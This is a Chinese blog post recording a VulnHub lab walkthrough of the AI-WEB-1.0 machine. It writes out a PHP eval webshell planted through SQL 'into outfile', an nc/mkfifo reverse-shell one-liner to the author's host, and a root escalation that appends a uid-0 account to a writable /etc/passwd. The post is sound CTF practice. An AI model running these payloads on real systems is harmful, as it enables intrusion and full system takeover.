当前位置:网站首页>记录自己vulnhub闯关记录
记录自己vulnhub闯关记录
2022-07-03 11:54:00 【小秦同学呀】
前言
该文章只是记录vulnhub上的闯关记录,用到的一些方法,因为提权这块是新学的,所以文章可能重点关于这块介绍的比较多。
AI-WEB-1.0
这里的话,先常规扫描,我是用masscan扫的(nmap太慢了)。
这里可以先去kali上看下自己的配置。此处的虚拟网络编辑器,然后就可以看到
masscan 192.168.252.0/24 --top-ports 100 --rate 1000
这里扫描会发现有ip段开着80端口,然后去访问80端口会发现80端口是个这玩意儿,日,常规思路,上扫描器(dirsearch)
python3 dirsearch.py -u xxxx
这里就发现有robots.txt,去robots.txt中访问。发现有SQL注入点。有SQL注入点就可以使用select into oufile来进行写马。(这里复习一下into outfile写马)
示例:
select '<?php phpinfo();eval($_POST[1]);?>' into outfile '绝对路径';
into outfile写马要求:
(1)高权限账号
(2)secure_file_priv需要是'';
(3)知道网站的绝对路径
这里让我异或了很久,网站绝对路径一般都是/var/www/html这种,但是我连不上,看了大哥们的wp之后才发现,还是我比较粗心导致的,人家给的robots.txt中上面那个目录还需要进行扫描(…)
咳咳咳,进行扫描发现,有info.php,知道绝对路径,就尝试使用into outfile进行写马
踩坑1:
我以为,写到哪个目录都好使,日,当出现priv没有开启之后,我以为是日志写马,试了半天。。。。。。。。无果,又去剽窃大佬们wp发现,自己目录写错了。。。。。。。。。。。。。。咳咳咳,收回正题,连接上shell.php之后发现,是一个www-data权限
完完全全需要进行一个提权操作。这里很疑惑,sudo是需要进一个终端进行操作。
踩坑2
反弹shell,(属实看不懂大佬们咋构造的,bash反弹弹不上去,nc连上去没反应)有理解的各位,私信一波。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.252.134 6666 >/tmp/f这里就可以进行正常反弹shell,发现/etc/passwd有读写权限,然后参照root写入即可。
openssl -1 -salt echo echo
可以通过参照下图来进行写入
echo 'echo:1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash' >>/etc/passwd
python进入交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
提升到root权限
总结
(1)可以往/etc/passwd中填写root信息,然后来进行提权
(2)可以用openssl来进行字符串的预设定
(3)使用nc命令的奇怪姿势(菜鸟表示看不懂)
边栏推荐
- Display time with message interval of more than 1 minute in wechat applet discussion area
- Basic knowledge of OpenGL (sort it out according to your own understanding)
- Shutter: add gradient stroke to font
- regular expression
- Oracle advanced (I) realize DMP by expdp impdp command
- Shardingsphere sub database and sub table < 3 >
- init. RC service failed to start
- [combinatorics] permutation and combination (summary of permutation and combination content | selection problem | set permutation | set combination)
- Applet wxss introduction
- Computer version wechat applet full screen display method, mobile phone horizontal screen method.
猜你喜欢
If you can't learn, you have to learn. Jetpack compose writes an im app (II)
Integer string int mutual conversion
Take you to the installation and simple use tutorial of the deveco studio compiler of harmonyos to create and run Hello world?
PHP export word method (one MHT)
Swagger
Display time with message interval of more than 1 minute in wechat applet discussion area
OpenGL draws colored triangles
实现验证码验证
Symlink(): solution to protocol error in PHP artisan storage:link on win10
Sword finger offer03 Repeated numbers in the array [simple]
随机推荐
225. Implement stack with queue
Dart: view the dill compiled code file
剑指Offer04. 二维数组中的查找【中等】
Flutter: about monitoring on flutter applications
剑指Offer09. 用两个栈实现队列
Slf4j log facade
Flutter: self study system
Redis notes 01: Introduction
2020-09_ Shell Programming Notes
elastic_ L04_ introduction. md
wpa_ cli
AOSP ~ NTP (Network Time Protocol)
Sword finger offer03 Repeated numbers in the array [simple]
Use of atomicinteger
网络通讯之Socket-Tcp(一)
Dart: about Libraries
[download attached] password acquisition tool lazagne installation and use
102. Sequence traversal of binary tree
OpenGL draws colored triangles
Computer version wechat applet full screen display method, mobile phone horizontal screen method.